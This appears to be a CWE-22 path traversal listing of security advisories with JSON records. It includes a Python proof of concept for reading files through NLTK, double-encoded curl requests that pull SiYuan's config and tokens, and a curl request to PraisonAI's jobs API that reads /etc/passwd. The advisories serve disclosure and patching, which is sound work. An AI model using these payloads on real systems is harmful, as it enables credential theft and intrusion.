CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13244 vulnerabilities reference this CWE, most recent first.
GHSA-P4FQ-JH4W-P6HR
Vulnerability from github – Published: 2022-05-17 05:13 – Updated: 2022-05-17 05:13Directory traversal vulnerability in install.php in Piwigo before 2.4.7 allows remote attackers to read and delete arbitrary files via a .. (dot dot) in the dl parameter.
{
"affected": [],
"aliases": [
"CVE-2013-1469"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-03-13T20:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in install.php in Piwigo before 2.4.7 allows remote attackers to read and delete arbitrary files via a .. (dot dot) in the dl parameter.",
"id": "GHSA-p4fq-jh4w-p6hr",
"modified": "2022-05-17T05:13:33Z",
"published": "2022-05-17T05:13:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1469"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23144"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2013-02/0153.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/120592/Piwigo-2.4.6-Cross-Site-Request-Forgery-Traversal.html"
},
{
"type": "WEB",
"url": "http://piwigo.org/bugs/view.php?id=0002843"
},
{
"type": "WEB",
"url": "http://piwigo.org/forum/viewtopic.php?id=21470"
},
{
"type": "WEB",
"url": "http://piwigo.org/releases/2.4.7"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/24561"
},
{
"type": "WEB",
"url": "http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P4GQ-832X-FM9V
Vulnerability from github – Published: 2026-06-16 14:34 – Updated: 2026-07-21 12:33Summary
nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.
Affected Component
nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences:
data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input
Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.
Proof of Concept
"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.
Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)
Root Cause:
nltk/data.py:find() checks resource names against a regex for
traversal patterns (../, leading /, etc.) BEFORE calling
url2pathname() which decodes %xx sequences. This is a classic
"decode-after-check" vulnerability.
"""
import sys
import os
import warnings
# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)
# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)
import nltk
from nltk.pathsec import ENFORCE
BANNER = """
===================================================
NLTK URL-Encoded Path Traversal PoC
Affected: nltk <= 3.9.4
Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)
def test_variant(name, payload, fmt="raw"):
"""Test a single traversal variant."""
try:
content = nltk.data.load(payload, format=fmt)
if isinstance(content, bytes):
preview = content[:200].decode("utf-8", errors="replace")
else:
preview = content[:200]
first_line = preview.split("\n")[0]
print(f" [VULN] {name}")
print(f" Payload: {payload}")
print(f" Read OK: {first_line}")
return True
except Exception as e:
print(f" [SAFE] {name}")
print(f" Payload: {payload}")
print(f" Blocked: {type(e).__name__}: {e}")
return False
def main():
print(BANNER)
vulns = 0
# --- Variant 1: URL-encoded absolute path ---
print("[1] URL-encoded absolute path (%2f = /)")
if test_variant(
"Encoded leading slash bypasses ^/ regex check",
"nltk:%2fetc%2fpasswd",
):
vulns += 1
print()
# --- Variant 2: Encoded dot-dot traversal ---
print("[2] URL-encoded dot-dot traversal (%2e = .)")
if test_variant(
"Encoded dots bypass \\.\\./ regex check",
"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
):
vulns += 1
print()
# --- Variant 3: Literal dots with encoded slash ---
print("[3] Literal dots with encoded slash (..%2f)")
if test_variant(
"Encoded slash after literal .. bypasses \\.\\./ regex",
"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
):
vulns += 1
print()
# --- Variant 4: Read process environment (credential leak) ---
print("[4] Read /proc/self/environ (credential leakage)")
try:
content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
env_vars = content.decode("utf-8", errors="replace").split("\x00")
print(f" [VULN] Leaked {len(env_vars)} environment variables")
for var in env_vars[:3]:
if var:
key = var.split("=")[0] if "=" in var else var
print(f" {key}=...")
vulns += 1
except Exception as e:
print(f" [SAFE] Blocked: {e}")
print()
# --- Control: verify normal traversal IS blocked ---
print("[CONTROL] Verify literal ../ is blocked by regex")
test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")
print()
print("=" * 51)
print(f" Result: {vulns} bypass variant(s) succeeded")
if vulns > 0:
print(" Status: VULNERABLE (url2pathname decodes after regex check)")
else:
print(" Status: Not vulnerable")
print("=" * 51)
if __name__ == "__main__":
main()
Impact
Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:
/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys
This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.
fix
https://github.com/nltk/nltk/pull/3575
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54293"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T14:34:15Z",
"nvd_published_at": "2026-06-22T19:17:20Z",
"severity": "HIGH"
},
"details": "### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK\u0027s SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py \u2014 find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650\u2013L653 \u2014 final path constructed from url2pathname(resource_name) after checks\ndata.py L54\u2013L69 \u2014 _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219\u2013L245 \u2014 normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615\u2013L618 \u2014 defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK \u003c= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n nltk/data.py:find() checks resource names against a regex for\n traversal patterns (../, leading /, etc.) BEFORE calling\n url2pathname() which decodes %xx sequences. This is a classic\n \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk \u003c= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n \"\"\"Test a single traversal variant.\"\"\"\n try:\n content = nltk.data.load(payload, format=fmt)\n if isinstance(content, bytes):\n preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n else:\n preview = content[:200]\n first_line = preview.split(\"\\n\")[0]\n print(f\" [VULN] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Read OK: {first_line}\")\n return True\n except Exception as e:\n print(f\" [SAFE] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Blocked: {type(e).__name__}: {e}\")\n return False\n\n\ndef main():\n print(BANNER)\n vulns = 0\n\n # --- Variant 1: URL-encoded absolute path ---\n print(\"[1] URL-encoded absolute path (%2f = /)\")\n if test_variant(\n \"Encoded leading slash bypasses ^/ regex check\",\n \"nltk:%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 2: Encoded dot-dot traversal ---\n print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n if test_variant(\n \"Encoded dots bypass \\\\.\\\\./ regex check\",\n \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 3: Literal dots with encoded slash ---\n print(\"[3] Literal dots with encoded slash (..%2f)\")\n if test_variant(\n \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 4: Read process environment (credential leak) ---\n print(\"[4] Read /proc/self/environ (credential leakage)\")\n try:\n content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n print(f\" [VULN] Leaked {len(env_vars)} environment variables\")\n for var in env_vars[:3]:\n if var:\n key = var.split(\"=\")[0] if \"=\" in var else var\n print(f\" {key}=...\")\n vulns += 1\n except Exception as e:\n print(f\" [SAFE] Blocked: {e}\")\n\n print()\n\n # --- Control: verify normal traversal IS blocked ---\n print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n print()\n print(\"=\" * 51)\n print(f\" Result: {vulns} bypass variant(s) succeeded\")\n if vulns \u003e 0:\n print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n else:\n print(\" Status: Not vulnerable\")\n print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ \u2014 leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK\u0027s SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.\n\n### fix\nhttps://github.com/nltk/nltk/pull/3575",
"id": "GHSA-p4gq-832x-fm9v",
"modified": "2026-07-21T12:33:33Z",
"published": "2026-06-16T14:34:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54293"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3575"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:42644"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-54293"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491486"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read"
}
GHSA-P4HP-FF28-FC27
Vulnerability from github – Published: 2022-12-28 18:30 – Updated: 2023-01-06 00:30Huawei Aslan Children's Watch has a path traversal vulnerability. Successful exploitation may allow attackers to access or modify protected system resources.
{
"affected": [],
"aliases": [
"CVE-2022-44564"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-28T18:15:00Z",
"severity": "HIGH"
},
"details": "Huawei Aslan Children\u0027s Watch has a path traversal vulnerability. Successful exploitation may allow attackers to access or modify protected system resources.",
"id": "GHSA-p4hp-ff28-fc27",
"modified": "2023-01-06T00:30:17Z",
"published": "2022-12-28T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44564"
},
{
"type": "WEB",
"url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20221102-01-d002dd8e-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P4HV-QFVV-VWC7
Vulnerability from github – Published: 2024-10-02 12:30 – Updated: 2026-04-01 18:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in MinHyeong Lim MH Board allows PHP Local File Inclusion.This issue affects MH Board: from n/a through 1.3.2.1.
{
"affected": [],
"aliases": [
"CVE-2024-44017"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-02T10:15:04Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in MinHyeong Lim MH Board allows PHP Local File Inclusion.This issue affects MH Board: from n/a through 1.3.2.1.",
"id": "GHSA-p4hv-qfvv-vwc7",
"modified": "2026-04-01T18:31:55Z",
"published": "2024-10-02T12:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44017"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/mh-board/vulnerability/wordpress-mh-board-plugin-1-3-2-1-local-file-inclusion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/mh-board/wordpress-mh-board-plugin-1-3-2-1-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P4M3-MGMM-C664
Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25Summary
The patch for CVE-2026-41894 ("Path Traversal via Double URL Encoding") sanitized the /export/ route but the
identical root cause remains in the /assets/*path route. In publish mode (anonymous read-only HTTP endpoint,
default port 6808), an unauthenticated remote attacker can read arbitrary files inside WorkspaceDir — including
conf/conf.json (which contains the AccessAuthCode SHA256 hash, API token, and sync keys), temp/siyuan.db,
temp/blocktree.db, and siyuan.log — by double-URL-encoding .. segments.
Verified against siyuan v3.6.5:
- GET /assets/%252e%252e/%252e%252e/conf/conf.json → HTTP 200, 10349 bytes (conf.json served)
- GET /export/%252e%252e/%252e%252e/conf/conf.json → HTTP 401 (patched)
- GET /assets/%2e%2e/conf/conf.json → HTTP 404 (single-decode handled correctly)
## Vulnerable Code
Step 1 — route & first decode (kernel/server/serve.go:587-626):
The router registers GET /assets/*path for the publish listener. Gin performs one URL decoding pass on URL.Path,
so a request for /assets/%252e%252e/... yields context.Param("path") == "/%2e%2e/%2e%2e/conf/conf.json" — literal
%2e%2e strings, which path.Clean cannot collapse.
Step 2 — second decode via fallback (kernel/model/assets.go:536-563, GetAssetAbsPath):
go
p, err := getAssetAbsPath(relativePath)
if nil != err {
// fallback
decoded, e := url.PathUnescape(relativePath) // ← line 548, second decode
if nil == e {
p, err = getAssetAbsPath(decoded)
}
}
After the fallback decodes %2e%2e to .., filepath.Join(DataDir, "../../conf/conf.json") is Clean-ed to
WorkspaceDir/conf/conf.json, an existing file.
Step 3 — publish-mode access gate fall-through (kernel/model/publish_access.go:288,
CheckAbsPathAccessableByPublishAccess):
go
if !filelock.IsSubPath(util.DataDir, absPath) {
return true // ← fall-through allows anything outside DataDir but inside WorkspaceDir
}
Because the resolved file is outside DataDir (it's in WorkspaceDir), the gate returns true and
IsSensitivePath() is never invoked — .db / .log / conf/ denylists do not apply to the /assets/ route at all
(unlike the patched /export/ route, which additionally checks IsSubPath(exportBaseDir, ...)).
Step 4 — file served (http.ServeFile): the request URL.Path contains literal %2e%2e, not .., so Go's
containsDotDot guard passes and the file is sent.
## PoC
Preconditions: siyuan kernel running with publish mode enabled (conf.publish.enable = true). Publish mode is the
documented anonymous read-only endpoint for sharing notebooks.
$ curl -i "http://victim:6808/assets/%252e%252e/%252e%252e/conf/conf.json"
HTTP/1.1 200 OK
Content-Length: 10349
Content-Type: application/json
...
{"appearance":{...},"editor":{...},"system":{...},"accessAuthCode":"<sha256>","api":{"token":"<api token>"}, ...}
Compared with the patched route:
$ curl -i "http://victim:6808/export/%252e%252e/%252e%252e/conf/conf.json"
HTTP/1.1 401 Unauthorized
## Root Cause
Three independent flaws combine:
1. GetAssetAbsPath performs a second url.PathUnescape as a "compatibility" fallback, re-introducing the
double-decode primitive that the CVE-2026-41894 patch eliminated on /export/.
2. CheckAbsPathAccessableByPublishAccess returns true for any path outside DataDir, even when that path is still
inside WorkspaceDir (which contains conf/conf.json, temp/*.db, siyuan.log).
3. The IsSensitivePath() denylist applied to /export/ is not called from the /assets/ handler.
## Impact
Unauthenticated remote arbitrary file read inside WorkspaceDir. Confirmed-readable files include:
- conf/conf.json — accessAuthCode SHA256 (offline crackable), API token, S3/WebDAV sync credentials.
- temp/siyuan.db, temp/blocktree.db, temp/asset_content.db — full notebook content (SQLite).
- siyuan.log — internal paths, OS username, plugin info.
Compromise of accessAuthCode / API token escalates to authenticated kernel API access (full read/write of all
notebooks). Compromise of sync credentials escalates beyond the host.
## Fix
1. Remove the url.PathUnescape fallback in GetAssetAbsPath (assets.go:548), matching the /export/ patch.
2. In CheckAbsPathAccessableByPublishAccess, replace the IsSubPath(DataDir, ...) fall-through with an explicit
allowlist (only DataDir and its publishable subtree) and always call IsSensitivePath().
3. Apply IsSensitivePath() inside the /assets/*path handler in serve.go as defense-in-depth.
## Status
Privately reported via GitHub Security Advisory. PoC reproduced locally against v3.6.5 (publish port 6808): GET
/assets/%252e%252e/%252e%252e/conf/conf.json returned HTTP 200 / 10349 bytes.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54066"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:25:04Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "HIGH"
},
"details": "## Summary\n The patch for CVE-2026-41894 (\"Path Traversal via Double URL Encoding\") sanitized the `/export/` route but the\n **identical root cause remains in the `/assets/*path` route**. In publish mode (anonymous read-only HTTP endpoint,\n default port 6808), an unauthenticated remote attacker can read arbitrary files inside `WorkspaceDir` \u2014 including\n `conf/conf.json` (which contains the `AccessAuthCode` SHA256 hash, API token, and sync keys), `temp/siyuan.db`,\n `temp/blocktree.db`, and `siyuan.log` \u2014 by double-URL-encoding `..` segments.\n\n Verified against siyuan v3.6.5:\n - `GET /assets/%252e%252e/%252e%252e/conf/conf.json` \u2192 **HTTP 200, 10349 bytes (conf.json served)**\n - `GET /export/%252e%252e/%252e%252e/conf/conf.json` \u2192 HTTP 401 (patched)\n - `GET /assets/%2e%2e/conf/conf.json` \u2192 HTTP 404 (single-decode handled correctly)\n\n ## Vulnerable Code\n\n **Step 1 \u2014 route \u0026 first decode** (`kernel/server/serve.go:587-626`):\n The router registers `GET /assets/*path` for the publish listener. Gin performs one URL decoding pass on `URL.Path`,\n so a request for `/assets/%252e%252e/...` yields `context.Param(\"path\") == \"/%2e%2e/%2e%2e/conf/conf.json\"` \u2014 literal\n `%2e%2e` strings, which `path.Clean` cannot collapse.\n\n **Step 2 \u2014 second decode via fallback** (`kernel/model/assets.go:536-563`, `GetAssetAbsPath`):\n ```go\n p, err := getAssetAbsPath(relativePath)\n if nil != err {\n // fallback\n decoded, e := url.PathUnescape(relativePath) // \u2190 line 548, second decode\n if nil == e {\n p, err = getAssetAbsPath(decoded)\n }\n }\n ```\n After the fallback decodes `%2e%2e` to `..`, `filepath.Join(DataDir, \"../../conf/conf.json\")` is `Clean`-ed to\n `WorkspaceDir/conf/conf.json`, an existing file.\n\n **Step 3 \u2014 publish-mode access gate fall-through** (`kernel/model/publish_access.go:288`,\n `CheckAbsPathAccessableByPublishAccess`):\n ```go\n if !filelock.IsSubPath(util.DataDir, absPath) {\n return true // \u2190 fall-through allows anything outside DataDir but inside WorkspaceDir\n }\n ```\n Because the resolved file is *outside* `DataDir` (it\u0027s in `WorkspaceDir`), the gate returns `true` and\n `IsSensitivePath()` is never invoked \u2014 `.db` / `.log` / `conf/` denylists do not apply to the `/assets/` route at all\n (unlike the patched `/export/` route, which additionally checks `IsSubPath(exportBaseDir, ...)`).\n\n **Step 4 \u2014 file served** (`http.ServeFile`): the request `URL.Path` contains literal `%2e%2e`, not `..`, so Go\u0027s\n `containsDotDot` guard passes and the file is sent.\n\n ## PoC\n\n Preconditions: siyuan kernel running with publish mode enabled (`conf.publish.enable = true`). Publish mode is the\n documented anonymous read-only endpoint for sharing notebooks.\n\n ```\n $ curl -i \"http://victim:6808/assets/%252e%252e/%252e%252e/conf/conf.json\"\n HTTP/1.1 200 OK\n Content-Length: 10349\n Content-Type: application/json\n ...\n {\"appearance\":{...},\"editor\":{...},\"system\":{...},\"accessAuthCode\":\"\u003csha256\u003e\",\"api\":{\"token\":\"\u003capi token\u003e\"}, ...}\n ```\n\n Compared with the patched route:\n ```\n $ curl -i \"http://victim:6808/export/%252e%252e/%252e%252e/conf/conf.json\"\n HTTP/1.1 401 Unauthorized\n ```\n\n ## Root Cause\n Three independent flaws combine:\n 1. `GetAssetAbsPath` performs a second `url.PathUnescape` as a \"compatibility\" fallback, re-introducing the\n double-decode primitive that the CVE-2026-41894 patch eliminated on `/export/`.\n 2. `CheckAbsPathAccessableByPublishAccess` returns `true` for any path outside `DataDir`, even when that path is still\n inside `WorkspaceDir` (which contains `conf/conf.json`, `temp/*.db`, `siyuan.log`).\n 3. The `IsSensitivePath()` denylist applied to `/export/` is not called from the `/assets/` handler.\n\n ## Impact\n Unauthenticated remote arbitrary file read inside `WorkspaceDir`. Confirmed-readable files include:\n - `conf/conf.json` \u2014 `accessAuthCode` SHA256 (offline crackable), API token, S3/WebDAV sync credentials.\n - `temp/siyuan.db`, `temp/blocktree.db`, `temp/asset_content.db` \u2014 full notebook content (SQLite).\n - `siyuan.log` \u2014 internal paths, OS username, plugin info.\n\n Compromise of `accessAuthCode` / API token escalates to authenticated kernel API access (full read/write of all\n notebooks). Compromise of sync credentials escalates beyond the host.\n\n ## Fix\n 1. Remove the `url.PathUnescape` fallback in `GetAssetAbsPath` (assets.go:548), matching the `/export/` patch.\n 2. In `CheckAbsPathAccessableByPublishAccess`, replace the `IsSubPath(DataDir, ...)` fall-through with an explicit\n allowlist (only `DataDir` and its publishable subtree) and **always** call `IsSensitivePath()`.\n 3. Apply `IsSensitivePath()` inside the `/assets/*path` handler in `serve.go` as defense-in-depth.\n\n ## Status\n Privately reported via GitHub Security Advisory. PoC reproduced locally against v3.6.5 (publish port 6808): `GET\n /assets/%252e%252e/%252e%252e/conf/conf.json` returned HTTP 200 / 10349 bytes.",
"id": "GHSA-p4m3-mgmm-c664",
"modified": "2026-07-10T19:25:04Z",
"published": "2026-07-10T19:25:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p4m3-mgmm-c664"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54066"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Path Traversal via Double URL Encoding in /assets/*path (publish mode arbitrary file\u2500read), Incomplete fix of CVE-2026-41894 "
}
GHSA-P4PG-RVQW-4MM6
Vulnerability from github – Published: 2023-05-26 09:30 – Updated: 2024-04-04 04:20Directory traversal vulnerability in ESS REC Agent Server Edition series allows an authenticated attacker to view or alter an arbitrary file on the server. Affected products and versions are as follows: ESS REC Agent Server Edition for Linux V1.0.0 to V1.4.3, ESS REC Agent Server Edition for Solaris V1.1.0 to V1.4.0, ESS REC Agent Server Edition for HP-UX V1.1.0 to V1.4.0, and ESS REC Agent Server Edition for AIX V1.2.0 to V1.4.1
{
"affected": [],
"aliases": [
"CVE-2023-28382"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-26T09:15:38Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in ESS REC Agent Server Edition series allows an authenticated attacker to view or alter an arbitrary file on the server. Affected products and versions are as follows: ESS REC Agent Server Edition for Linux V1.0.0 to V1.4.3, ESS REC Agent Server Edition for Solaris V1.1.0 to V1.4.0, ESS REC Agent Server Edition for HP-UX V1.1.0 to V1.4.0, and ESS REC Agent Server Edition for AIX V1.2.0 to V1.4.1",
"id": "GHSA-p4pg-rvqw-4mm6",
"modified": "2024-04-04T04:20:38Z",
"published": "2023-05-26T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28382"
},
{
"type": "WEB",
"url": "https://customer.et-x.jp/app/answers/detail/a_id/2260"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN19243534"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P4PJ-VH7H-6CQH
Vulnerability from github – Published: 2026-06-18 13:56 – Updated: 2026-07-20 21:24Summary
An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.
Details
The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:
# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist
The executor reads the file directly:
# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))
Proof of Concept
curl -X POST http://:8005/api/v1/runs \
-H "Content-Type: application/json" \
-d '{"prompt": "run", "agent_file": "/etc/passwd"}'
Server responds with contents of /etc/passwd.
Other exploitable paths:
- /proc/1/environ — environment variables, API keys
- /home//.ssh/id_rsa — SSH private keys
- /app/.env — application secrets
Impact
Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
